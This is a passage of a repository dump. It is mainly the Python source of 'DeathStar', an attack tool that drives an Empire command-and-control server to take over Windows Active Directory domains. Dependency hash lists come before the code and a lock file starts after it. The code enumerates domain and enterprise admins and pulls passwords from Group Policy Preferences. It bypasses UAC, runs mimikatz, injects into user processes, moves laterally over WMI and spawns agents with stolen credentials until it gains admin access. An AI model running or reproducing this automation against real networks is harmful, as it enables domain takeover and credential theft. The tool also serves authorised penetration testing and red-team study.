--hash=sha256:d74bb8693bf9cf75ac3b47a54d716bbb1a92648d5f781fc799347cfc95952383 \ 65 | --hash=sha256:9b15f3f4c0f35727d3a0fba4b770b3c4ebbb1fa907dbcc046a1d2799f3edd142 \ 66 | --hash=sha256:9254f4358b9b541e3441b007a0ea0764b9d056afdeafc1a5569eee1cc6c1b9ea \ 67 | --hash=sha256:a6ae12d08c0bf9909ce12385803a543bfe99b95fe01e752536a60af2b7797c62 \ 68 | --hash=sha256:5541cada25cd173702dbd99f8e22434105456314462326f06dba3e180f203dfd \ 69 | --hash=sha256:59f79fef100b09564bc2df42ea2d8d21a64fdcda64979c0fa3db7bdaabaf6239 70 | mccabe==0.6.1; python_version >= "3.5" and python_full_version < "3.0.0" or python_full_version >= "3.4.0" and python_version >= "3.5" \ 71 | --hash=sha256:ab8a6258860da4b6677da4bd2fe5dc2c659cff31b3ee4f7f5d64e79735b80d42 \ 72 | --hash=sha256:dd8d182285a0fe56bace7f45b5e7d1a6ebcbf524e8f3bd87eb0f125271b8831f 73 | mypy-extensions==0.4.3; python_version >= "3.6" \ 74 | --hash=sha256:090fedd75945a69ae91ce1303b5824f428daf5a028d2f6ab8a299250a846f15d \ 75 | --hash=sha256:2d82818f5bb3e369420cb3c4060a7970edba416647068eb4c5343488a6c604a8 76 | packaging==20.8; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.4.0" and python_version >= "3.6" \ 77 | --hash=sha256:24e0da08660a87484d1602c30bb4902d74816b6985b93de36926f5bc95741858 \ 78 | --hash=sha256:78598185a7008a470d64526a8059de9aaa449238f280fc9eb6b13ba6c4109093 79 | pathspec==0.8.1; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.5.0" and python_version >= "3.6" \ 80 | --hash=sha256:aa0cb481c4041bf52ffa7b0d8fa6cd3e88a2ca4879c533c9153882ee2556790d \ 81 | --hash=sha256:86379d6b86d75816baba717e64b1a3a3469deb93bb76d613c9ce79edc5cb68fd 82 | pluggy==0.13.1; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.4.0" and python_version >= "3.6" \ 83 | --hash=sha256:966c145cd83c96502c3c3868f50408687b38434af77734af1e9ca461a4081d2d \ 84 | --hash=sha256:15b2acde666561e1298d71b523007ed7364de07029219b604cf808bfa1c765b0 85 | py==1.10.0; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.4.0" and python_version >= "3.6" \ 86 | --hash=sha256:3b80836aa6d1feeaa108e046da6423ab8f6ceda6468545ae8d02d9d58d18818a \ 87 | --hash=sha256:21b81bda15b66ef5e1a777a21c4dcd9c20ad3efd0b3f817e7a809035269e1bd3 88 | pycodestyle==2.6.0; python_version >= "2.7" and python_full_version < "3.0.0" or python_full_version >= "3.4.0" \ 89 | --hash=sha256:2295e7b2f6b5bd100585ebcb1f616591b652db8a741695b3d8f5d28bdc934367 \ 90 | --hash=sha256:c58a7d2815e0e8d7972bf1803331fb0152f867bd89adf8a01dfd55085434192e 91 | pyflakes==2.2.0; python_version >= "2.7" and python_full_version < "3.0.0" or python_full_version >= "3.4.0" \ 92 | --hash=sha256:0d94e0e05a19e57a99444b6ddcf9a6eb2e5c68d3ca1e98e90707af8152c90a92 \ 93 | --hash=sha256:35b2d75ee967ea93b55750aa9edbbf72813e06a66ba54438df2cfac9e3c27fc8 94 | pygments==2.7.3; python_version >= "3.6" and python_version < "4.0" \ 95 | --hash=sha256:f275b6c0909e5dafd2d6269a656aa90fa58ebf4a74f8fcf9053195d226b24a08 \ 96 | --hash=sha256:ccf3acacf3782cbed4a989426012f1c535c9a90d3a7fc3f16d231b9372d2b716 97 | pylint==2.6.0; python_version >= "3.5" \ 98 | --hash=sha256:bfe68f020f8a0fece830a22dd4d5dddb4ecc6137db04face4c3420a46a52239f \ 99 | --hash=sha256:bb4a908c9dadbc3aac18860550e870f58e1a02c9f2c204fdf5693d73be061210 100 | pyparsing==2.4.7; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.4.0" and python_version >= "3.6" \ 101 | --hash=sha256:ef9d7589ef3c200abe66653d3f1ab1033c3c419ae9b9bdb1240a85b024efc88b \ 102 | --hash=sha256:c203ec8783bf771a155b207279b9bccb8dea02d8f0c9e5f8ead507bc3246ecc1 103 | pytest-asyncio==0.14.0; python_version >= "3.5" \ 104 | --hash=sha256:9882c0c6b24429449f5f969a5158b528f39bde47dc32e85b9f0403965017e700 \ 105 | --hash=sha256:2eae1e34f6c68fc0a9dc12d4bea190483843ff4708d24277c41568d6b6044f1d 106 | pytest==6.2.1; python_version >= "3.6" \ 107 | --hash=sha256:1969f797a1a0dbd8ccf0fecc80262312729afea9c17f1d70ebf85c5e76c6f7c8 \ 108 | --hash=sha256:66e419b1899bc27346cb2c993e12c5e5e8daba9073c1fbce33b9807abc95c306 109 | regex==2020.11.13; python_version >= "3.6" \ 110 | --hash=sha256:8b882a78c320478b12ff024e81dc7d43c1462aa4a3341c754ee65d857a521f85 \ 111 | --hash=sha256:a63f1a07932c9686d2d416fb295ec2c01ab246e89b4d58e5fa468089cab44b70 \ 112 | --hash=sha256:6e4b08c6f8daca7d8f07c8d24e4331ae7953333dbd09c648ed6ebd24db5a10ee \ 113 | --hash=sha256:bba349276b126947b014e50ab3316c027cac1495992f10e5682dc677b3dfa0c5 \ 114 | --hash=sha256:56e01daca75eae420bce184edd8bb341c8eebb19dd3bce7266332258f9fb9dd7 \ 115 | --hash=sha256:6a8ce43923c518c24a2579fda49f093f1397dad5d18346211e46f134fc624e31 \ 116 | --hash=sha256:1ab79fcb02b930de09c76d024d279686ec5d532eb814fd0ed1e0051eb8bd2daa \ 117 | --hash=sha256:9801c4c1d9ae6a70aeb2128e5b4b68c45d4f0af0d1535500884d644fa9b768c6 \ 118 | --hash=sha256:49cae022fa13f09be91b2c880e58e14b6da5d10639ed45ca69b85faf039f7a4e \ 119 | --hash=sha256:749078d1eb89484db5f34b4012092ad14b327944ee7f1c4f74d6279a6e4d1884 \ 120 | --hash=sha256:b2f4007bff007c96a173e24dcda236e5e83bde4358a557f9ccf5e014439eae4b \ 121 | --hash=sha256:38c8fd190db64f513fe4e1baa59fed086ae71fa45083b6936b52d34df8f86a88 \ 122 | --hash=sha256:5862975b45d451b6db51c2e654990c1820523a5b07100fc6903e9c86575202a0 \ 123 | --hash=sha256:262c6825b309e6485ec2493ffc7e62a13cf13fb2a8b6d212f72bd53ad34118f1 \ 124 | --hash=sha256:bafb01b4688833e099d79e7efd23f99172f501a15c44f21ea2118681473fdba0 \ 125 | --hash=sha256:e32f5f3d1b1c663af7f9c4c1e72e6ffe9a78c03a31e149259f531e0fed826512 \ 126 | --hash=sha256:3bddc701bdd1efa0d5264d2649588cbfda549b2899dc8d50417e47a82e1387ba \ 127 | --hash=sha256:02951b7dacb123d8ea6da44fe45ddd084aa6777d4b2454fa0da61d569c6fa538 \ 128 | --hash=sha256:0d08e71e70c0237883d0bef12cad5145b84c3705e9c6a588b2a9c7080e5af2a4 \ 129 | --hash=sha256:1fa7ee9c2a0e30405e21031d07d7ba8617bc590d391adfc2b7f1e8b99f46f444 \ 130 | --hash=sha256:baf378ba6151f6e272824b86a774326f692bc2ef4cc5ce8d5bc76e38c813a55f \ 131 | --hash=sha256:e3faaf10a0d1e8e23a9b51d1900b72e1635c2d5b0e1bea1c18022486a8e2e52d \ 132 | --hash=sha256:2a11a3e90bd9901d70a5b31d7dd85114755a581a5da3fc996abfefa48aee78af \ 133 | --hash=sha256:d1ebb090a426db66dd80df8ca85adc4abfcbad8a7c2e9a5ec7513ede522e0a8f \ 134 | --hash=sha256:b2b1a5ddae3677d89b686e5c625fc5547c6e492bd755b520de5332773a8af06b \ 135 | --hash=sha256:2c99e97d388cd0a8d30f7c514d67887d8021541b875baf09791a3baad48bb4f8 \ 136 | --hash=sha256:c084582d4215593f2f1d28b65d2a2f3aceff8342aa85afd7be23a9cad74a0de5 \ 137 | --hash=sha256:a3d748383762e56337c39ab35c6ed4deb88df5326f97a38946ddd19028ecce6b \ 138 | --hash=sha256:7913bd25f4ab274ba37bc97ad0e21c31004224ccb02765ad984eef43e04acc6c \ 139 | --hash=sha256:6c54ce4b5d61a7129bad5c5dc279e222afd00e721bf92f9ef09e4fae28755683 \ 140 | --hash=sha256:1862a9d9194fae76a7aaf0150d5f2a8ec1da89e8b55890b1786b8f88a0f619dc \ 141 | --hash=sha256:4902e6aa086cbb224241adbc2f06235927d5cdacffb2425c73e6570e8d862364 \ 142 | --hash=sha256:7a25fcbeae08f96a754b45bdc050e1fb94b95cab046bf56b016c25e9ab127b3e \ 143 | --hash=sha256:d2d8ce12b7c12c87e41123997ebaf1a5767a5be3ec545f64675388970f415e2e \ 144 | --hash=sha256:f7d29a6fc4760300f86ae329e3b6ca28ea9c20823df123a2ea8693e967b29917 \ 145 | --hash=sha256:717881211f46de3ab130b58ec0908267961fadc06e44f974466d1887f865bd5b \ 146 | --hash=sha256:3128e30d83f2e70b0bed9b2a34e92707d0877e460b402faca908c6667092ada9 \ 147 | --hash=sha256:8f6a2229e8ad946e36815f2a03386bb8353d4bde368fdf8ca5f0cb97264d3b5c \ 148 | --hash=sha256:f8f295db00ef5f8bae530fc39af0b40486ca6068733fb860b42115052206466f \ 149 | --hash=sha256:a15f64ae3a027b64496a71ab1f722355e570c3fac5ba2801cafce846bf5af01d \ 150 | --hash=sha256:83d6b356e116ca119db8e7c6fc2983289d87b27b3fac238cfe5dca529d884562 151 | rfc3986==1.4.0; python_version >= "3.6" \ 152 | --hash=sha256:af9147e9aceda37c91a05f4deb128d4b4b49d6b199775fd2d2927768abdc8f50 \ 153 | --hash=sha256:112398da31a3344dc25dbf477d8df6cb34f9278a94fee2625d89e4514be8bb9d 154 | rich==9.4.0; python_version >= "3.6" and python_version < "4.0" \ 155 | --hash=sha256:dfc1d6a394f97674163b2b2c24d12e15f85752ce5451043c4d3ce77dad16a07d \ 156 | --hash=sha256:bde23a1761373fed2802502ff98292c5d735a5389ed96f4fe1be5fb4c2cde8ea 157 | six==1.15.0; python_version >= "3.5" and python_full_version < "3.0.0" or python_full_version >= "3.3.0" and python_version >= "3.5" \ 158 | --hash=sha256:8b74bedcbbbaca38ff6d7491d76f2b06b3592611af620f8426e82dddb04a5ced \ 159 | --hash=sha256:30639c035cdb23534cd4aa2dd52c3bf48f06e5f4a941509c8bafd8ce11080259 160 | sniffio==1.2.0; python_version >= "3.6" \ 161 | --hash=sha256:471b71698eac1c2112a40ce2752bb2f4a4814c22a54a3eed3676bc0f5ca9f663 \ 162 | --hash=sha256:c4666eecec1d3f50960c6bdf61ab7bc350648da6c126e3cf6898d8cd4ddcd3de 163 | toml==0.10.2; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.3.0" and python_version >= "3.6" \ 164 | --hash=sha256:806143ae5bfb6a3c6e736a764057db0e6a0e05e338b5630894a5f779cabb4f9b \ 165 | --hash=sha256:b3bda1d108d5dd99f4a20d24d9c348e91c4db7ab1b749200bded2f839ccbe68f 166 | typed-ast==1.4.1; python_version >= "3.6" \ 167 | --hash=sha256:73d785a950fc82dd2a25897d525d003f6378d1cb23ab305578394694202a58c3 \ 168 | --hash=sha256:aaee9905aee35ba5905cfb3c62f3e83b3bec7b39413f0a7f19be4e547ea01ebb \ 169 | --hash=sha256:0c2c07682d61a629b68433afb159376e24e5b2fd4641d35424e462169c0a7919 \ 170 | --hash=sha256:4083861b0aa07990b619bd7ddc365eb7fa4b817e99cf5f8d9cf21a42780f6e01 \ 171 | --hash=sha256:269151951236b0f9a6f04015a9004084a5ab0d5f19b57de779f908621e7d8b75 \ 172 | --hash=sha256:24995c843eb0ad11a4527b026b4dde3da70e1f2d8806c99b7b4a7cf491612652 \ 173 | --hash=sha256:fe460b922ec15dd205595c9b5b99e2f056fd98ae8f9f56b888e7a17dc2b757e7 \ 174 | --hash=sha256:4e3e5da80ccbebfff202a67bf900d081906c358ccc3d5e3c8aea42fdfdfd51c1 \ 175 | --hash=sha256:249862707802d40f7f29f6e1aad8d84b5aa9e44552d2cc17384b209f091276aa \ 176 | --hash=sha256:8ce678dbaf790dbdb3eba24056d5364fb45944f33553dd5869b7580cdbb83614 \ 177 | --hash=sha256:c9e348e02e4d2b4a8b2eedb48210430658df6951fa484e59de33ff773fbd4b41 \ 178 | --hash=sha256:bcd3b13b56ea479b3650b82cabd6b5343a625b0ced5429e4ccad28a8973f301b \ 179 | --hash=sha256:d5d33e9e7af3b34a40dc05f498939f0ebf187f07c385fd58d591c533ad8562fe \ 180 | --hash=sha256:0666aa36131496aed8f7be0410ff974562ab7eeac11ef351def9ea6fa28f6355 \ 181 | --hash=sha256:d205b1b46085271b4e15f670058ce182bd1199e56b317bf2ec004b6a44f911f6 \ 182 | --hash=sha256:6daac9731f172c2a22ade6ed0c00197ee7cc1221aa84cfdf9c31defeb059a907 \ 183 | --hash=sha256:498b0f36cc7054c1fead3d7fc59d2150f4d5c6c56ba7fb150c013fbc683a8d2d \ 184 | --hash=sha256:715ff2f2df46121071622063fc7543d9b1fd19ebfc4f5c8895af64a77a8c852c \ 185 | --hash=sha256:fc0fea399acb12edbf8a628ba8d2312f583bdbdb3335635db062fa98cf71fca4 \ 186 | --hash=sha256:d43943ef777f9a1c42bf4e552ba23ac77a6351de620aa9acf64ad54933ad4d34 \ 187 | --hash=sha256:8c8aaad94455178e3187ab22c8b01a3837f8ee50e09cf31f1ba129eb293ec30b 188 | typing-extensions==3.7.4.3; python_version >= "3.6" and python_version < "4.0" \ 189 | --hash=sha256:dafc7639cde7f1b6e1acc0f457842a83e722ccca8eef5270af2d74792619a89f \ 190 | --hash=sha256:7cb407020f00f7bfc3cb3e7881628838e69d8f3fcab2f64742a5e76b2f841918 \ 191 | --hash=sha256:99d4073b617d30288f569d3f13d2bd7548c3a7e4c8de87db09a9d29bb3a4a60c 192 | wrapt==1.12.1; python_version >= "3.5" \ 193 | --hash=sha256:b62ffa81fb85f4332a4f609cab4ac40709470da05643a082ec1eb88e6d9b97d7 194 | -------------------------------------------------------------------------------- /deathstar/deathstar.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | 3 | # Copyright (c) 2020 Marcello Salvati (byt3bl33d3r@pm.me) 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License as 7 | # published by the Free Software Foundation; either version 3 of the 8 | # License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, but 11 | # WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 13 | # General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program; if not, write to the Free Software 17 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 18 | # USA 19 | # 20 | 21 | __version__ = "0.2.0" 22 | 23 | import logging 24 | import argparse 25 | import asyncio 26 | import traceback 27 | from rich.logging import RichHandler 28 | from collections import Counter 29 | from deathstar.kybercrystals import KyberCrystals 30 | from deathstar.planetaryrecon import PlanetaryRecon 31 | from deathstar.empire import EmpireApiClient, EmpireLoginError 32 | from deathstar.utils import CustomArgFormatter, beautify_json, print_win_banner 33 | 34 | logging.basicConfig( 35 | level=logging.INFO, 36 | format="[{name}] {message}", 37 | datefmt="[%X]", 38 | style="{", 39 | handlers=[RichHandler(rich_tracebacks=True, tracebacks_show_locals=True)] 40 | ) 41 | 42 | logging.getLogger("httpx").setLevel(logging.ERROR) 43 | logging.getLogger("asyncio").setLevel(logging.ERROR) 44 | 45 | log = logging.getLogger("deathstar") 46 | 47 | class DeathStar: 48 | def __init__(self, empire): 49 | self.empire = empire 50 | self.priority_targets = [] 51 | 52 | self.recon = PlanetaryRecon() 53 | self.kybers = KyberCrystals(self) 54 | self.won = asyncio.Event() 55 | 56 | async def host_pwned(self, host): 57 | for agent in await self.empire.agents.get(): 58 | if agent.hostname.lower() == host.lower() or agent.internal_ip == host: 59 | return True 60 | return False 61 | 62 | async def planetary_recon(self): 63 | """ 64 | Recon coroutine 65 | """ 66 | 67 | log.debug("Recon task started") 68 | hunter_killer_missions = [] 69 | 70 | try: 71 | while not self.won.is_set(): 72 | for agent in await self.empire.agents.get(): 73 | if agent.domain and not self.recon.been_performed(agent.domain): 74 | log.info( 75 | f"{agent.name} => Starting recon on domain '{agent.domain}'" 76 | ) 77 | 78 | domain = agent.domain 79 | domain_sid = await self.kybers.get_domain_sid(agent) 80 | domain_admins, enterprise_admins, domain_controllers = await asyncio.gather( 81 | *[ 82 | self.kybers.get_group_member(agent, domain_sid + "-512"), # DA's 83 | self.kybers.get_group_member(agent, domain_sid + "-519"), # EA's 84 | self.kybers.get_domain_controller(agent), 85 | ] 86 | ) 87 | 88 | self.recon.set_domain_sid(domain, domain_sid) 89 | self.recon.set_domain_admins(domain, domain_admins) 90 | self.recon.set_enterprise_admins(domain, enterprise_admins) 91 | self.recon.set_domain_controllers(domain, domain_controllers) 92 | 93 | log.debug(f"DA group name: '{self.recon.get_da_group_name(agent.domain)}'") 94 | log.debug(f"EA group name: '{self.recon.get_ea_group_name(agent.domain)}'") 95 | log.info(f"{agent.name} => Recon complete for domain '{agent.domain}'") 96 | # log.debug("Recon data:" + beautify_json(self.recon.data[agent.domain])) 97 | 98 | self.recon.set_performed(agent.domain) 99 | 100 | hunter_killer_missions.append( 101 | asyncio.create_task(self.launch_hunter_killers(agent)) 102 | ) 103 | 104 | await asyncio.sleep(3) 105 | except asyncio.CancelledError: 106 | log.debug("Cancelling planetary recon") 107 | [task.cancel() for task in hunter_killer_missions] 108 | await asyncio.gather(*hunter_killer_missions) 109 | except Exception: 110 | tb = traceback.format_exc() 111 | log.error(f"Planetary recon for agent {agent.name} errored out:\n {tb}") 112 | 113 | async def launch_hunter_killers(self, agent): 114 | """ 115 | Domain Privesc coroutine 116 | """ 117 | 118 | try: 119 | log.debug(f"{agent.name} - {agent.username} => Launching Hunter-Killers") 120 | 121 | gpos = await self.kybers.gpp(agent) 122 | for gpo in gpos: 123 | hosts = await self.kybers.get_gpo_computer(agent, gpo['guid']) 124 | for username, password in zip(gpo['usernames'], gpo['passwords']): 125 | await asyncio.gather(*[ 126 | self.kybers.invoke_wmi(agent, host['name'], username=f".\\{username}", password=password) 127 | for host in hosts 128 | if not await self.host_pwned(host['name']) 129 | ]) 130 | 131 | log.debug("Hunter-Killers finished tasking") 132 | except asyncio.CancelledError: 133 | log.debug("Cancelling Hunter-Killer deployment") 134 | except Exception: 135 | tb = traceback.format_exc() 136 | log.error(f"Hunter-Killer targets for agent {agent.name} errored out:\n {tb}") 137 | 138 | async def galaxy_conquest(self, agent): 139 | """ 140 | Lateral movement coroutine 141 | """ 142 | 143 | try: 144 | log.debug(f"{agent.name} - {agent.username} => Starting galaxy conquest") 145 | 146 | conquest_tasks = [ 147 | asyncio.create_task(self.kybers.find_localadmin_access(agent)) 148 | ] 149 | 150 | await self.recon.event(agent.domain).wait() 151 | log.debug(f"{agent.name} => It's wabbit season, hunting for them admins") 152 | 153 | domain_admins_group = self.recon.get_da_group_name(agent.domain) 154 | enterprise_admins_group = self.recon.get_ea_group_name(agent.domain) 155 | 156 | conquest_tasks.extend( 157 | [ 158 | asyncio.create_task(self.kybers.user_hunter(agent, domain_admins_group)), 159 | asyncio.create_task(self.kybers.user_hunter(agent, enterprise_admins_group)), 160 | ] 161 | ) 162 | 163 | local_admin_hosts, da_sessions, ea_sessions = await asyncio.gather(*conquest_tasks) 164 | self.recon.set_priority_targets(agent.domain, da_sessions) 165 | self.recon.set_priority_targets(agent.domain, ea_sessions) 166 | 167 | # rdp_sessions = await asyncio.gather(*[self.kybers.get_rdp_session(agent, host) for host in local_admin_hosts]) 168 | 169 | priority_targets = [ 170 | host 171 | for host in local_admin_hosts 172 | if host in self.recon.get_priority_targets(agent.domain) 173 | ] 174 | 175 | log.debug(f"{agent.name} => Starting lateral movement") 176 | await asyncio.gather(*[self.kybers.invoke_wmi(agent, host) for host in priority_targets]) 177 | await asyncio.gather(*[self.kybers.invoke_wmi(agent, host) for host in local_admin_hosts]) 178 | 179 | except asyncio.CancelledError: 180 | log.debug(f"Cancelling galaxy conquest for agent {agent.name}") 181 | except Exception: 182 | tb = traceback.format_exc() 183 | log.error(f"Galaxy conquest for agent {agent.name} errored out:\n {tb}") 184 | 185 | async def fire_mission(self, agent): 186 | """ 187 | Active monitoring coroutine 188 | """ 189 | 190 | try: 191 | seen_usernames = [] 192 | 193 | if agent.domain: 194 | await self.recon.event(agent.domain).wait() 195 | 196 | log.debug(f"{agent.name} => Starting fire mission") 197 | if not agent.high_integrity: 198 | await self.kybers.bypassuac_eventvwr(agent) 199 | 200 | if agent.high_integrity: 201 | await self.kybers.mimikatz(agent) 202 | 203 | while not self.won.is_set(): 204 | if agent.high_integrity: 205 | for process in await self.kybers.tasklist(agent): 206 | if ( 207 | process["username"] 208 | and not any( 209 | map( 210 | lambda e: process["username"].startswith(e), 211 | ["NT", "Font", "Window"], 212 | ) 213 | ) 214 | and process["username"] != agent.username 215 | and process["username"] not in seen_usernames 216 | ): 217 | log.info(f"{agent.name} => Found process(s) running under '{process['username']}'") 218 | if process["processname"] == "explorer": 219 | log.debug(f"{agent.name} => Injecting into PID {process['pid']}") 220 | await self.kybers.psinject(agent, process["pid"]) 221 | seen_usernames.append(process["username"]) 222 | 223 | for entry in await self.kybers.get_loggedon(agent): 224 | username = f"{entry['logondomain']}\\{entry['username']}" 225 | if username in self.recon.all_admins and agent.hostname not in self.priority_targets: 226 | log.info(f"{agent.name} => Admin {username} is logged into {agent.hostname}") 227 | self.priority_targets.append(agent.hostname) 228 | 229 | await asyncio.sleep(60) 230 | 231 | except asyncio.CancelledError: 232 | log.debug(f"Cancelling fire mission for agent {agent.name}") 233 | except Exception: 234 | tb = traceback.format_exc() 235 | log.error(f"Fire mission for agent {agent.name} errored out:\n {tb}") 236 | 237 | async def agent_poller(self): 238 | """ 239 | Launches fire missions and galaxy conquest missions on each agent 240 | """ 241 | 242 | log.debug("Agent poller started") 243 | missions = [] 244 | try: 245 | while not self.won.is_set(): 246 | for agent in await self.empire.agents.get(): 247 | if not any(filter(lambda t: t.get_name() == agent.name, missions)): 248 | log.info(f"{agent.name} => New agent connected!") 249 | task = asyncio.create_task( self.fire_mission(agent), name=f"{agent.name}") 250 | missions.append(task) 251 | 252 | if agent.domain and not any(filter(lambda t: t.get_name() == agent.username, missions)): 253 | task = asyncio.create_task(self.galaxy_conquest(agent), name=f"{agent.username}") 254 | missions.append(task) 255 | 256 | await asyncio.sleep(3) 257 | except asyncio.CancelledError: 258 | [task.cancel() for task in missions] 259 | await asyncio.gather(*missions) 260 | except Exception: 261 | tb = traceback.format_exc() 262 | log.error(f"Agent poller errored out:\n {tb}") 263 | 264 | async def agent_spawner(self): 265 | """ 266 | Spawns new agents on each new set of credentials 267 | """ 268 | 269 | log.debug("Agent spawner started") 270 | 271 | while not self.won.is_set(): 272 | plaintext_creds = filter( 273 | lambda c: c.credtype == "plaintext", await self.empire.credentials.get() 274 | ) 275 | 276 | for cred in plaintext_creds: 277 | agents = await self.empire.agents.get() 278 | if agents: 279 | if not any( 280 | filter( 281 | lambda a: a.domain == cred.domain 282 | and a.username == cred.username, 283 | agents, 284 | ) 285 | ): 286 | # Count hostnames for all agents 287 | pwned_computers = Counter(map(lambda a: a.hostname, agents)) 288 | 289 | # Get the hostname with the least amount of occurances 290 | least_pwned = list( 291 | sorted(pwned_computers.items(), key=lambda h: h[1]) 292 | )[0] 293 | 294 | # Get the agents on that machine 295 | agent = list( 296 | filter(lambda a: a.hostname == least_pwned, agents) 297 | )[0] 298 | 299 | log.info(f"Spawning agent on '{least_pwned}' with creds for {cred.pretty_username} as it has the least amount of agents") 300 | await self.kybers.spawnas(agent, cred_id=cred.id) 301 | 302 | await asyncio.sleep(3) 303 | 304 | async def win_checker(self): 305 | """ 306 | Checks for win conditions 307 | """ 308 | 309 | log.debug("Win checker started") 310 | 311 | while not self.won.is_set(): 312 | for agent in await self.empire.agents.get(): 313 | if agent.username in self.recon.all_admins: 314 | self.won.set() 315 | log.info(f"Won by security context! Agent: {agent.name} Username: {agent.username}") 316 | print_win_banner() 317 | 318 | for cred in await self.empire.credentials.get(): 319 | if cred.credtype in ["plaintext", "hash"] and cred.pretty_username in self.recon.all_admins: 320 | self.won.set() 321 | log.info(f"Won by creds! '{cred.pretty_username} (from host {cred.host})") 322 | print_win_banner() 323 | 324 | await asyncio.sleep(3) 325 | 326 | async def power_up(self): 327 | """ 328 | Logs into Empire, creates starter listener and starts all coroutines 329 | """ 330 | 331 | if "error" in await self.empire.listeners.get("DeathStar"): 332 | await self.empire.listeners.create(additional={"Port": 8443}) 333 | 334 | await asyncio.gather(*[ 335 | self.planetary_recon(), 336 | self.win_checker(), 337 | self.agent_spawner(), 338 | self.agent_poller(), 339 | ]) 340 | 341 | 342 | async def main(args): 343 | try: 344 | empire = EmpireApiClient(host=args.api_host, port=args.api_port) 345 | await empire.login(args.username, args.password) 346 | log.info("Empire login successful") 347 | except EmpireLoginError: 348 | log.error("Error logging into Empire, invalid credentials?") 349 | else: 350 | log.info("Powering up the DeathStar and waiting for agents") 351 | deathstar = DeathStar(empire) 352 | await deathstar.power_up() 353 | finally: 354 | await empire.close() 355 | 356 | 357 | def run(): 358 | args = argparse.ArgumentParser( 359 | description=f""" 360 | _______ _______ ___ .___________. __ __ _______.___________. ___ .______ 361 | | \ | ____| / \ | || | | | / | | / \ | _ \ 362 | | .--. || |__ / ^ \ `---| |----`| |__| | | (----`---| |----` / ^ \ | |_) | 363 | | | | || __| / /_\ \ | | | __ | \ \ | | / /_\ \ | / 364 | | '--' || |____ / _____ \ | | | | | | .----) | | | / _____ \ | |\ \----. 365 | |_______/ |_______/__/ \__\ |__| |__| |__| |_______/ |__| /__/ \__\ | _| `._____| 366 | 367 | Version: {__version__} 368 | """, 369 | formatter_class=CustomArgFormatter, 370 | ) 371 | args.add_argument("-u", "--username", type=str, required=True, help="Empire username") 372 | args.add_argument( "-p", "--password", type=str, required=True, help="Empire password") 373 | args.add_argument("--api-host", type=str, default="127.0.0.1", help="Empire API IP/Hostname") 374 | args.add_argument("--api-port", type=int, default=1337, help="Empire API port") 375 | args.add_argument("--debug", action="store_true", help="Enable debug output") 376 | 377 | args = args.parse_args() 378 | 379 | if args.debug: 380 | logging.getLogger().setLevel(logging.DEBUG) 381 | 382 | log.debug("Passed arguments\n --> %r", vars(args)) 383 | 384 | try: 385 | asyncio.run(main(args)) 386 | except KeyboardInterrupt: 387 | log.info("Exiting...") 388 | 389 | if __name__ == "__main__": 390 | run() 391 | -------------------------------------------------------------------------------- /poetry.lock: -------------------------------------------------------------------------------- 1 | [[package]] 2 | name = "appdirs" 3 | version = "1.4.4" 4 | description = "A small Python module for determining appropriate platform-specific dirs, e.g. a \"user data dir\"." 5 | category = "dev" 6 | optional = false 7 | python-versions = "*" 8 | 9 | [[package]] 10 | name = "astroid" 11 | version = "2.4.2" 12 | description = "An abstract syntax tree for Python with inference support." 13 | category = "dev" 14 | optional = false 15 | python-versions = ">=3.5" 16 | 17 | [package.dependencies] 18 | lazy-object-proxy = ">=1.4.0,<1.5.0" 19 | six = ">=1.12,<2.0" 20 | wrapt = ">=1.11,<2.0" 21 | 22 | [[package]] 23 | name = "atomicwrites" 24 | version = "1.4.0" 25 | description = "Atomic file writes." 26 | category = "dev" 27 | optional = false 28 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" 29 | 30 | [[package]] 31 | name = "attrs" 32 | version = "20.3.0" 33 | description = "Classes Without Boilerplate" 34 | category = "dev" 35 | optional = false 36 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" 37 | 38 | [package.extras] 39 | dev = ["coverage[toml] (>=5.0.2)", "hypothesis", "pympler", "pytest (>=4.3.0)", "six", "zope.interface", "furo", "sphinx", "pre-commit"] 40 | docs = ["furo", "sphinx", "zope.interface"] 41 | tests = ["coverage[toml] (>=5.0.2)", "hypothesis", "pympler", "pytest (>=4.3.0)", "six", "zope.interface"] 42 | tests_no_zope = ["coverage[toml] (>=5.0.2)", "hypothesis", "pympler", "pytest (>=4.3.0)", "six"] 43 | 44 | [[package]] 45 | name = "black" 46 | version = "20.8b1" 47 | description = "The uncompromising code formatter." 48 | category = "dev" 49 | optional = false 50 | python-versions = ">=3.6" 51 | 52 | [package.dependencies] 53 | appdirs = "*" 54 | click = ">=7.1.2" 55 | mypy-extensions = ">=0.4.3" 56 | pathspec = ">=0.6,<1" 57 | regex = ">=2020.1.8" 58 | toml = ">=0.10.1" 59 | typed-ast = ">=1.4.0" 60 | typing-extensions = ">=3.7.4" 61 | 62 | [package.extras] 63 | colorama = ["colorama (>=0.4.3)"] 64 | d = ["aiohttp (>=3.3.2)", "aiohttp-cors"] 65 | 66 | [[package]] 67 | name = "certifi" 68 | version = "2020.12.5" 69 | description = "Python package for providing Mozilla's CA Bundle." 70 | category = "main" 71 | optional = false 72 | python-versions = "*" 73 | 74 | [[package]] 75 | name = "click" 76 | version = "7.1.2" 77 | description = "Composable command line interface toolkit" 78 | category = "dev" 79 | optional = false 80 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" 81 | 82 | [[package]] 83 | name = "colorama" 84 | version = "0.4.4" 85 | description = "Cross-platform colored terminal text." 86 | category = "main" 87 | optional = false 88 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" 89 | 90 | [[package]] 91 | name = "commonmark" 92 | version = "0.9.1" 93 | description = "Python parser for the 